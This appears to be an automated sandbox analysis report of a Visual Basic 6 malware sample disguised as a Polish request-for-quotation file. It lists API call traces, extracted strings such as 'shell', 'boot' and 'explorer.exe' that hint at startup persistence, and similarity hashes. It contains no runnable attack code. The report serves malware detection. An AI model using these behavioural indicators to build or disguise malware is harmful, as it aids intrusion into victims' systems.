__vbaOnError.MSVBVM60(000000FF,00000000,?,?,00000000,Function_000032B6), ref: 0041986E
__vbaSetSystemError.MSVBVM60 ref: 00419889
__vbaVarDup.MSVBVM60 ref: 004198A3
#606.MSVBVM60(?,?), ref: 004198BA
__vbaStrMove.MSVBVM60 ref: 004198C5
__vbaFreeVar.MSVBVM60 ref: 004198CE
__vbaStrI2.MSVBVM60(00000000,00000000), ref: 004198DF
__vbaStrMove.MSVBVM60 ref: 004198EA
__vbaStrToAnsi.MSVBVM60(?,00000000), ref: 004198F5
__vbaLenBstr.MSVBVM60(?,00000000), ref: 00419900
__vbaStrToAnsi.MSVBVM60(?,?,00000000), ref: 0041990F
__vbaSetSystemError.MSVBVM60(00000000,00000000,00000000,000000FF,00000000), ref: 00419927
__vbaStrToUnicode.MSVBVM60(?,?), ref: 00419935
__vbaFreeStrList.MSVBVM60(00000003,?,?,?), ref: 00419949
#644.MSVBVM60(?), ref: 0041995D
__vbaSetSystemError.MSVBVM60(00000000), ref: 0041996C
#616.MSVBVM60(?,?), ref: 0041997A
__vbaStrMove.MSVBVM60 ref: 00419985
__vbaFreeStr.MSVBVM60(004199D0), ref: 004199C9
__vbaErrorOverflow.MSVBVM60(?), ref: 004199E6

Memory Dump Source

Source File: 00000000.00000002.2026772498.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2026333371.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026486000.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026855820.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026877233.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.jbxd

Similarity

API ID: __vba$Error$FreeMoveSystem$Ansi$#606#616#644BstrChkstkListOverflowUnicode
String ID:
API String ID: 3094200983-0
Opcode ID: d6910d33025b062d129a1e8649d8f18e20bade111b3a8211ccca0156f543e9fa
Instruction ID: c4f5bd512d1b3bf9bc8ce298c4f3288c9308f79173eb6556b40925b4054b111f
Opcode Fuzzy Hash: d6910d33025b062d129a1e8649d8f18e20bade111b3a8211ccca0156f543e9fa
Instruction Fuzzy Hash: 2B410FB5900249EFDB04DFE4DE49BDEBBB8EB48305F104669F601B72A0DB746A44CB64

Function 004296C0 Relevance: 29.8, APIs: 13, Strings: 4, Instructions: 87COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(00000000,004032B6,?,?,?,?,0040CAFD,0042C0D4), ref: 004296DE
__vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,004032B6), ref: 0042970E
__vbaStrCopy.MSVBVM60(?,?,?,00000000,004032B6), ref: 00429723

Part of subcall function 004115D0: __vbaLenBstr.MSVBVM60(00000000), ref: 0041160D
Part of subcall function 004115D0: #631.MSVBVM60(?,?,?), ref: 00411658
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,?), ref: 00411663
Part of subcall function 004115D0: #516.MSVBVM60(00000000,?,?,?), ref: 0041166A
Part of subcall function 004115D0: __vbaFreeStr.MSVBVM60(?,?,?), ref: 004116C8
Part of subcall function 004115D0: __vbaFreeVar.MSVBVM60(?,?,?), ref: 004116D1
Part of subcall function 004115D0: #631.MSVBVM60(?,?,00000002,?,?,?), ref: 00411701
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,?), ref: 0041170C
Part of subcall function 004115D0: #516.MSVBVM60(00000000,?,?,00000002,?,?,?), ref: 00411713

__vbaStrMove.MSVBVM60(?,00000000,?,?,?,00000000,004032B6), ref: 0042973D
__vbaStrCat.MSVBVM60(00000000,?,?,?,00000000,004032B6), ref: 00429744
__vbaStrMove.MSVBVM60(?,?,?,00000000,004032B6), ref: 0042974F
__vbaStrCat.MSVBVM60(explorer.exe, ,00000000,?,?,?,00000000,004032B6), ref: 00429761
__vbaStrMove.MSVBVM60(?,?,?,00000000,004032B6), ref: 0042976C
__vbaStrCat.MSVBVM60(?,00000000,?,?,?,00000000,004032B6), ref: 00429779
__vbaStrMove.MSVBVM60(?,00000000,?,?,?,00000000,004032B6), ref: 00429784
__vbaStrCopy.MSVBVM60(?,00000000,?,?,?,00000000,004032B6), ref: 00429792
__vbaStrCopy.MSVBVM60(?,00000000,?,?,?,00000000,004032B6), ref: 004297A0

Part of subcall function 004295B0: __vbaStrToAnsi.MSVBVM60(?,00000000,?,?,?,?,?,?,?,?,?,004032B6,00000000), ref: 004295F7
Part of subcall function 004295B0: __vbaStrToAnsi.MSVBVM60(?,?,00000000,?,?,?,?,?,?,?,?,?,004032B6,00000000), ref: 00429604
Part of subcall function 004295B0: __vbaStrToAnsi.MSVBVM60(?,?,00000000,?,00000000,?,?,?,?,?,?,?,?,?,004032B6,00000000), ref: 00429611
Part of subcall function 004295B0: __vbaStrToAnsi.MSVBVM60(?,?,00000000,?,00000000,?,00000000,?,?,?,?,?,?,?,?,?), ref: 0042961E
Part of subcall function 004295B0: __vbaSetSystemError.MSVBVM60(00000000,?,00000000,?,00000000,?,00000000,?,?,?,?,?,?,?,?,?), ref: 00429629
Part of subcall function 004295B0: __vbaStrToUnicode.MSVBVM60(00000000,?,?,00000000,?,00000000,?,00000000), ref: 0042963D
Part of subcall function 004295B0: __vbaStrToUnicode.MSVBVM60(004032B6,?,?,00000000,?,00000000,?,00000000), ref: 00429647
Part of subcall function 004295B0: __vbaStrToUnicode.MSVBVM60(?,?,?,00000000,?,00000000,?,00000000), ref: 0042964E
Part of subcall function 004295B0: __vbaStrToUnicode.MSVBVM60(?,?,?,00000000,?,00000000,?,00000000), ref: 00429655
Part of subcall function 004295B0: __vbaI2I4.MSVBVM60(?,00000000,?,00000000,?,00000000,?,?,?,?,?,?,?,?,?,004032B6), ref: 0042965A
Part of subcall function 004295B0: __vbaFreeStrList.MSVBVM60(00000004,?,?,?,?,?,00000000,?,00000000,?,00000000), ref: 00429675

__vbaFreeStrList.MSVBVM60(00000007,?,?,?,00000000,?,?,?,00000000,?,?,?,?,00000000), ref: 004297D9

Strings

shell, xrefs: 0042978A
boot, xrefs: 00429798
yLb+$8, xrefs: 0042971B
explorer.exe, , xrefs: 0042975C

Memory Dump Source

Source File: 00000000.00000002.2026772498.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2026333371.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026486000.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026855820.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026877233.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.jbxd

Similarity

API ID: __vba$Move$AnsiFreeUnicode$Copy$#516#631ErrorList$BstrChkstkSystem
String ID: boot$explorer.exe, $shell$yLb+$8
API String ID: 913952100-2157437457
Opcode ID: 5a922159ef6c9492d48b2dcfb2da36ea5094812e49396599d2798a0ab338517f
Instruction ID: 6554cbec377a6d1fb2d016b249b8349fe5e87df9b4ee87d3b31f4120235b6aae
Opcode Fuzzy Hash: 5a922159ef6c9492d48b2dcfb2da36ea5094812e49396599d2798a0ab338517f
Instruction Fuzzy Hash: 9E311072910208EBCB05EF94DE58EDE7BB8FB48300F10812AF502B75A0DB745A48CBA4

Function 00419F80 Relevance: 28.1, APIs: 12, Strings: 4, Instructions: 84COMMON

Download Yara Rule

APIs

#712.MSVBVM60(?,\??\,00408114,00000001,000000FF,00000000,?,00000000,?,?,00000000,Function_000032B6,00000000), ref: 00419FCC
__vbaStrMove.MSVBVM60(?,\??\,00408114,00000001,000000FF,00000000,?,00000000,?,?,00000000,Function_000032B6,00000000), ref: 00419FD9
#712.MSVBVM60(?,\\?\,00408114,00000001,000000FF,00000000,?,\??\,00408114,00000001,000000FF,00000000,?,00000000), ref: 00419FEE
__vbaStrMove.MSVBVM60(?,\??\,00408114,00000001,000000FF,00000000,?,00000000,?,?,00000000,Function_000032B6,00000000), ref: 00419FF5
#712.MSVBVM60(?,\SystemRoot\,00000000,00000001,000000FF,00000001,?,\??\,00408114,00000001,000000FF,00000000,?,00000000), ref: 0041A00C
__vbaStrMove.MSVBVM60(?,\??\,00408114,00000001,000000FF,00000000,?,00000000,?,?,00000000,Function_000032B6,00000000), ref: 0041A013
#712.MSVBVM60(?,%systemroot%,00000000,00000001,000000FF,00000001,?,\??\,00408114,00000001,000000FF,00000000,?,00000000), ref: 0041A02B
__vbaStrMove.MSVBVM60(?,\??\,00408114,00000001,000000FF,00000000,?,00000000,?,?,00000000,Function_000032B6,00000000), ref: 0041A032
#712.MSVBVM60(?,00409A70,00406544,00000001,000000FF,00000000,?,\??\,00408114,00000001,000000FF,00000000,?,00000000), ref: 0041A047
__vbaStrMove.MSVBVM60(?,\??\,00408114,00000001,000000FF,00000000,?,00000000,?,?,00000000,Function_000032B6,00000000), ref: 0041A04E
__vbaStrCopy.MSVBVM60(?,\??\,00408114,00000001,000000FF,00000000,?,00000000,?,?,00000000,Function_000032B6,00000000), ref: 0041A056
__vbaFreeStr.MSVBVM60(0041A077,?,\??\,00408114,00000001,000000FF,00000000,?,00000000,?,?,00000000,Function_000032B6,00000000), ref: 0041A070

Strings

\\?\, xrefs: 00419FE8
\SystemRoot\, xrefs: 0041A006
%systemroot%, xrefs: 0041A025
\??\, xrefs: 00419FC0

Memory Dump Source

Source File: 00000000.00000002.2026772498.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2026333371.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026486000.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026855820.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026877233.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.jbxd

Similarity

API ID: __vba$#712Move$CopyFree
String ID: %systemroot%$\??\$\SystemRoot\$\\?\
API String ID: 2546659950-1311169778
Opcode ID: 3bbe944c0420e29e53f14083bd92761ec41afb95eb268ab6b37192bc3106c6e6
Instruction ID: d6e337f52aa0f406b5b9e7ae7ca613ada50fa9dc8b45b6b45c56035a55262318
Opcode Fuzzy Hash: 3bbe944c0420e29e53f14083bd92761ec41afb95eb268ab6b37192bc3106c6e6
Instruction Fuzzy Hash: 7F213771B502197BCB00DB54CD82FEFBBB9AB54714F20422AB211B72E4DAB45D458ED4

Function 004174C3 Relevance: 27.1, APIs: 18, Instructions: 103COMMON

Download Yara Rule

APIs

__vbaStrCopy.MSVBVM60(004178BC), ref: 00417733
#616.MSVBVM60(00000000,00000000), ref: 00417754
__vbaStrMove.MSVBVM60 ref: 0041775F
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 00417769
__vbaStrMove.MSVBVM60 ref: 00417770
#631.MSVBVM60(00000000,-00000001,0000000A,00000000), ref: 0041778E
__vbaStrMove.MSVBVM60 ref: 00417799
__vbaStrCat.MSVBVM60(00000000), ref: 0041779C
__vbaStrMove.MSVBVM60 ref: 004177A5
__vbaFreeStrList.MSVBVM60(00000003,?,?,?), ref: 004177B5
__vbaFreeVar.MSVBVM60 ref: 004177C1
__vbaLenBstr.MSVBVM60(00000000), ref: 004177CD
__vbaStrCopy.MSVBVM60 ref: 004177F0
__vbaSetSystemError.MSVBVM60(00000000,?,?,?), ref: 00417814
__vbaAryUnlock.MSVBVM60(?,004178BC), ref: 004178A0
__vbaAryUnlock.MSVBVM60(?), ref: 004178A9
__vbaFreeStr.MSVBVM60 ref: 004178B4
__vbaFreeStr.MSVBVM60 ref: 004178B9

Memory Dump Source

Source File: 00000000.00000002.2026772498.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2026333371.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026486000.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026855820.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026877233.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.jbxd

Similarity

API ID: __vba$FreeMove$CopyUnlock$#616#631BstrErrorListSystem
String ID:
API String ID: 1554985673-0
Opcode ID: 6726c06902441f1d2235df1c00d48d0c759b3237af640a1265f08938f302ce1f
Instruction ID: babe0322a797a5b6fd9da037fd94c9e8bb3a8b55dbd2c7b94b419f711927b1e7
Opcode Fuzzy Hash: 6726c06902441f1d2235df1c00d48d0c759b3237af640a1265f08938f302ce1f
Instruction Fuzzy Hash: A741A575A04114DFC724DFA4ED849EE77B9EF48300F10456BE505A3261DB785986CF58

Function 0041744B Relevance: 27.1, APIs: 18, Instructions: 96COMMON

Download Yara Rule

APIs

__vbaStrCopy.MSVBVM60(004178BC), ref: 00417733
#616.MSVBVM60(00000000,00000000), ref: 00417754
__vbaStrMove.MSVBVM60 ref: 0041775F
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 00417769
__vbaStrMove.MSVBVM60 ref: 00417770
#631.MSVBVM60(00000000,-00000001,0000000A,00000000), ref: 0041778E
__vbaStrMove.MSVBVM60 ref: 00417799
__vbaStrCat.MSVBVM60(00000000), ref: 0041779C
__vbaStrMove.MSVBVM60 ref: 004177A5
__vbaFreeStrList.MSVBVM60(00000003,?,?,?), ref: 004177B5
__vbaFreeVar.MSVBVM60 ref: 004177C1
__vbaLenBstr.MSVBVM60(00000000), ref: 004177CD
__vbaStrCopy.MSVBVM60 ref: 004177F0
__vbaSetSystemError.MSVBVM60(00000000,?,?,?), ref: 00417814
__vbaAryUnlock.MSVBVM60(?,004178BC), ref: 004178A0
__vbaAryUnlock.MSVBVM60(?), ref: 004178A9
__vbaFreeStr.MSVBVM60 ref: 004178B4
__vbaFreeStr.MSVBVM60 ref: 004178B9
__vbaErrorOverflow.MSVBVM60(0000000A,00000000), ref: 00417A16
__vbaAryLock.MSVBVM60(?,00000000,6CF7A323,6CF8D8B1,6CF8D8E2), ref: 00417B35
__vbaGenerateBoundsError.MSVBVM60 ref: 00417B5A
__vbaGenerateBoundsError.MSVBVM60 ref: 00417B6E
__vbaSetSystemError.MSVBVM60 ref: 00417B9B
__vbaStrMove.MSVBVM60(?), ref: 00417BB5
__vbaStrMove.MSVBVM60(?), ref: 00417BC5
__vbaStrCat.MSVBVM60(?,00406F58,?,00000001), ref: 00417BD5
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417BDC
__vbaStrCat.MSVBVM60(00406F58,00000000,?,00000001), ref: 00417BE4
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417BEB
__vbaInStr.MSVBVM60(00000001,00000000,?,00000001), ref: 00417BF0
__vbaStrCat.MSVBVM60(?,00407CCC,00000000,00000001,?,00000001), ref: 00417C13
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417C1A
__vbaStrCat.MSVBVM60(00407CCC,00000000,?,00000001), ref: 00417C22
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417C29
__vbaInStr.MSVBVM60(00000001,00000000,?,00000001), ref: 00417C2E
__vbaFreeStrList.MSVBVM60(00000004,?,?,?,?,?,00000001), ref: 00417C59
__vbaAryUnlock.MSVBVM60(?), ref: 00417C6E
__vbaSetSystemError.MSVBVM60(?,?), ref: 00417CA1
__vbaSetSystemError.MSVBVM60(?,?,00000014), ref: 00417CB2

Memory Dump Source

Source File: 00000000.00000002.2026772498.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2026333371.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026486000.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026855820.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026877233.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.jbxd

Similarity

API ID: __vba$Move$Error$Free$System$Unlock$BoundsCopyGenerateList$#616#631BstrLockOverflow
String ID:
API String ID: 1701566546-0
Opcode ID: cf3ab2ae2adb5bb4c47874d4caa9ec11272c050c9bbc593e4460deddaa42495f
Instruction ID: 2258cb0996f04db46dac934d03965dd60a716a157fe6f4ee4cac8ab8ed0125e9
Opcode Fuzzy Hash: cf3ab2ae2adb5bb4c47874d4caa9ec11272c050c9bbc593e4460deddaa42495f
Instruction Fuzzy Hash: 73316EB1A00119DFCB14DFA4ED84DEE7B79EF88300F50856AE506E3261DB385986CF68

Function 00417469 Relevance: 27.1, APIs: 18, Instructions: 96COMMON

Download Yara Rule

APIs

__vbaStrCopy.MSVBVM60(004178BC), ref: 00417733
#616.MSVBVM60(00000000,00000000), ref: 00417754
__vbaStrMove.MSVBVM60 ref: 0041775F
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 00417769
__vbaStrMove.MSVBVM60 ref: 00417770
#631.MSVBVM60(00000000,-00000001,0000000A,00000000), ref: 0041778E
__vbaStrMove.MSVBVM60 ref: 00417799
__vbaStrCat.MSVBVM60(00000000), ref: 0041779C
__vbaStrMove.MSVBVM60 ref: 004177A5
__vbaFreeStrList.MSVBVM60(00000003,?,?,?), ref: 004177B5
__vbaFreeVar.MSVBVM60 ref: 004177C1
__vbaLenBstr.MSVBVM60(00000000), ref: 004177CD
__vbaStrCopy.MSVBVM60 ref: 004177F0
__vbaSetSystemError.MSVBVM60(00000000,?,?,?), ref: 00417814
__vbaAryUnlock.MSVBVM60(?,004178BC), ref: 004178A0
__vbaAryUnlock.MSVBVM60(?), ref: 004178A9
__vbaFreeStr.MSVBVM60 ref: 004178B4
__vbaFreeStr.MSVBVM60 ref: 004178B9
__vbaErrorOverflow.MSVBVM60(0000000A,00000000), ref: 00417A16
__vbaAryLock.MSVBVM60(?,00000000,6CF7A323,6CF8D8B1,6CF8D8E2), ref: 00417B35
__vbaGenerateBoundsError.MSVBVM60 ref: 00417B5A
__vbaGenerateBoundsError.MSVBVM60 ref: 00417B6E
__vbaSetSystemError.MSVBVM60 ref: 00417B9B
__vbaStrMove.MSVBVM60(?), ref: 00417BB5
__vbaStrMove.MSVBVM60(?), ref: 00417BC5
__vbaStrCat.MSVBVM60(?,00406F58,?,00000001), ref: 00417BD5
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417BDC
__vbaStrCat.MSVBVM60(00406F58,00000000,?,00000001), ref: 00417BE4
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417BEB
__vbaInStr.MSVBVM60(00000001,00000000,?,00000001), ref: 00417BF0
__vbaStrCat.MSVBVM60(?,00407CCC,00000000,00000001,?,00000001), ref: 00417C13
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417C1A
__vbaStrCat.MSVBVM60(00407CCC,00000000,?,00000001), ref: 00417C22
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417C29
__vbaInStr.MSVBVM60(00000001,00000000,?,00000001), ref: 00417C2E
__vbaFreeStrList.MSVBVM60(00000004,?,?,?,?,?,00000001), ref: 00417C59
__vbaAryUnlock.MSVBVM60(?), ref: 00417C6E
__vbaSetSystemError.MSVBVM60(?,?), ref: 00417CA1
__vbaSetSystemError.MSVBVM60(?,?,00000014), ref: 00417CB2

Memory Dump Source

Source File: 00000000.00000002.2026772498.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2026333371.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026486000.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026855820.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026877233.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.jbxd

Similarity

API ID: __vba$Move$Error$Free$System$Unlock$BoundsCopyGenerateList$#616#631BstrLockOverflow
String ID:
API String ID: 1701566546-0
Opcode ID: 246257148df8c58a63151417e2fa6cf9abfb38d00579c66028cbeba8a36e54a7
Instruction ID: 1778df844528236c0a987ac4d2ed461284e935b427befae0ad271591413caba1
Opcode Fuzzy Hash: 246257148df8c58a63151417e2fa6cf9abfb38d00579c66028cbeba8a36e54a7
Instruction Fuzzy Hash: A13150B5A00119DFCB14DFA4ED84DEE7779EF88300F10856AE506E3261DB385986CF68

Function 004174E1 Relevance: 27.1, APIs: 18, Instructions: 96COMMON

Download Yara Rule

APIs

__vbaStrCopy.MSVBVM60(004178BC), ref: 00417733
#616.MSVBVM60(00000000,00000000), ref: 00417754
__vbaStrMove.MSVBVM60 ref: 0041775F
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 00417769
__vbaStrMove.MSVBVM60 ref: 00417770
#631.MSVBVM60(00000000,-00000001,0000000A,00000000), ref: 0041778E
__vbaStrMove.MSVBVM60 ref: 00417799
__vbaStrCat.MSVBVM60(00000000), ref: 0041779C
__vbaStrMove.MSVBVM60 ref: 004177A5
__vbaFreeStrList.MSVBVM60(00000003,?,?,?), ref: 004177B5
__vbaFreeVar.MSVBVM60 ref: 004177C1
__vbaLenBstr.MSVBVM60(00000000), ref: 004177CD
__vbaStrCopy.MSVBVM60 ref: 004177F0
__vbaSetSystemError.MSVBVM60(00000000,?,?,?), ref: 00417814
__vbaAryUnlock.MSVBVM60(?,004178BC), ref: 004178A0
__vbaAryUnlock.MSVBVM60(?), ref: 004178A9
__vbaFreeStr.MSVBVM60 ref: 004178B4
__vbaFreeStr.MSVBVM60 ref: 004178B9
__vbaErrorOverflow.MSVBVM60(0000000A,00000000), ref: 00417A16
__vbaAryLock.MSVBVM60(?,00000000,6CF7A323,6CF8D8B1,6CF8D8E2), ref: 00417B35
__vbaGenerateBoundsError.MSVBVM60 ref: 00417B5A
__vbaGenerateBoundsError.MSVBVM60 ref: 00417B6E
__vbaSetSystemError.MSVBVM60 ref: 00417B9B
__vbaStrMove.MSVBVM60(?), ref: 00417BB5
__vbaStrMove.MSVBVM60(?), ref: 00417BC5
__vbaStrCat.MSVBVM60(?,00406F58,?,00000001), ref: 00417BD5
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417BDC
__vbaStrCat.MSVBVM60(00406F58,00000000,?,00000001), ref: 00417BE4
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417BEB
__vbaInStr.MSVBVM60(00000001,00000000,?,00000001), ref: 00417BF0
__vbaStrCat.MSVBVM60(?,00407CCC,00000000,00000001,?,00000001), ref: 00417C13
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417C1A
__vbaStrCat.MSVBVM60(00407CCC,00000000,?,00000001), ref: 00417C22
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417C29
__vbaInStr.MSVBVM60(00000001,00000000,?,00000001), ref: 00417C2E
__vbaFreeStrList.MSVBVM60(00000004,?,?,?,?,?,00000001), ref: 00417C59
__vbaAryUnlock.MSVBVM60(?), ref: 00417C6E
__vbaSetSystemError.MSVBVM60(?,?), ref: 00417CA1
__vbaSetSystemError.MSVBVM60(?,?,00000014), ref: 00417CB2

Memory Dump Source

Source File: 00000000.00000002.2026772498.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2026333371.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026486000.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026855820.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026877233.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.jbxd

Similarity

API ID: __vba$Move$Error$Free$System$Unlock$BoundsCopyGenerateList$#616#631BstrLockOverflow
String ID:
API String ID: 1701566546-0
Opcode ID: 36b3d8d5935acc63e5f9ea94afa97a512f975b8c77cc1bcf6976f7907015c398
Instruction ID: f2cb84cfdc36a53c26a53c404fdd6523f55abe18ffc8f9b7dbfd1f77219752b6
Opcode Fuzzy Hash: 36b3d8d5935acc63e5f9ea94afa97a512f975b8c77cc1bcf6976f7907015c398
Instruction Fuzzy Hash: FD315075A00119DFCB14DFA4ED94DEE7779EF88300B10456AE506E3261DB349986CF68

Function 0041742D Relevance: 27.1, APIs: 18, Instructions: 94COMMON

Download Yara Rule

APIs

__vbaStrCopy.MSVBVM60(004178BC), ref: 00417733
#616.MSVBVM60(00000000,00000000), ref: 00417754
__vbaStrMove.MSVBVM60 ref: 0041775F
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 00417769
__vbaStrMove.MSVBVM60 ref: 00417770
#631.MSVBVM60(00000000,-00000001,0000000A,00000000), ref: 0041778E
__vbaStrMove.MSVBVM60 ref: 00417799
__vbaStrCat.MSVBVM60(00000000), ref: 0041779C
__vbaStrMove.MSVBVM60 ref: 004177A5
__vbaFreeStrList.MSVBVM60(00000003,?,?,?), ref: 004177B5
__vbaFreeVar.MSVBVM60 ref: 004177C1
__vbaLenBstr.MSVBVM60(00000000), ref: 004177CD
__vbaStrCopy.MSVBVM60 ref: 004177F0
__vbaSetSystemError.MSVBVM60(00000000,?,?,?), ref: 00417814
__vbaAryUnlock.MSVBVM60(?,004178BC), ref: 004178A0
__vbaAryUnlock.MSVBVM60(?), ref: 004178A9
__vbaFreeStr.MSVBVM60 ref: 004178B4
__vbaFreeStr.MSVBVM60 ref: 004178B9
__vbaErrorOverflow.MSVBVM60(0000000A,00000000), ref: 00417A16
__vbaAryLock.MSVBVM60(?,00000000,6CF7A323,6CF8D8B1,6CF8D8E2), ref: 00417B35
__vbaGenerateBoundsError.MSVBVM60 ref: 00417B5A
__vbaGenerateBoundsError.MSVBVM60 ref: 00417B6E
__vbaSetSystemError.MSVBVM60 ref: 00417B9B
__vbaStrMove.MSVBVM60(?), ref: 00417BB5
__vbaStrMove.MSVBVM60(?), ref: 00417BC5
__vbaStrCat.MSVBVM60(?,00406F58,?,00000001), ref: 00417BD5
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417BDC
__vbaStrCat.MSVBVM60(00406F58,00000000,?,00000001), ref: 00417BE4
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417BEB
__vbaInStr.MSVBVM60(00000001,00000000,?,00000001), ref: 00417BF0
__vbaStrCat.MSVBVM60(?,00407CCC,00000000,00000001,?,00000001), ref: 00417C13
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417C1A
__vbaStrCat.MSVBVM60(00407CCC,00000000,?,00000001), ref: 00417C22
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417C29
__vbaInStr.MSVBVM60(00000001,00000000,?,00000001), ref: 00417C2E
__vbaFreeStrList.MSVBVM60(00000004,?,?,?,?,?,00000001), ref: 00417C59
__vbaAryUnlock.MSVBVM60(?), ref: 00417C6E
__vbaSetSystemError.MSVBVM60(?,?), ref: 00417CA1
__vbaSetSystemError.MSVBVM60(?,?,00000014), ref: 00417CB2

Memory Dump Source

Source File: 00000000.00000002.2026772498.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2026333371.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026486000.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026855820.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026877233.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.jbxd

Similarity

API ID: __vba$Move$Error$Free$System$Unlock$BoundsCopyGenerateList$#616#631BstrLockOverflow
String ID:
API String ID: 1701566546-0
Opcode ID: 07de24749f671f96814f1a4586ac660af873eea27dc505617471f5a8f1a16d63
Instruction ID: 6a6c65185a8990ed76a7925615099f76a1e8909006d367d433fa78fd926de25a
Opcode Fuzzy Hash: 07de24749f671f96814f1a4586ac660af873eea27dc505617471f5a8f1a16d63
Instruction Fuzzy Hash: 70318071A00158DFCB14DBE4ED84DEE7B79EF88300B10456AE505E3261DA345986CF68

Function 004174FF Relevance: 27.1, APIs: 18, Instructions: 93COMMON

Download Yara Rule

APIs

__vbaStrCopy.MSVBVM60(004178BC), ref: 00417733
#616.MSVBVM60(00000000,00000000), ref: 00417754
__vbaStrMove.MSVBVM60 ref: 0041775F
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 00417769
__vbaStrMove.MSVBVM60 ref: 00417770
#631.MSVBVM60(00000000,-00000001,0000000A,00000000), ref: 0041778E
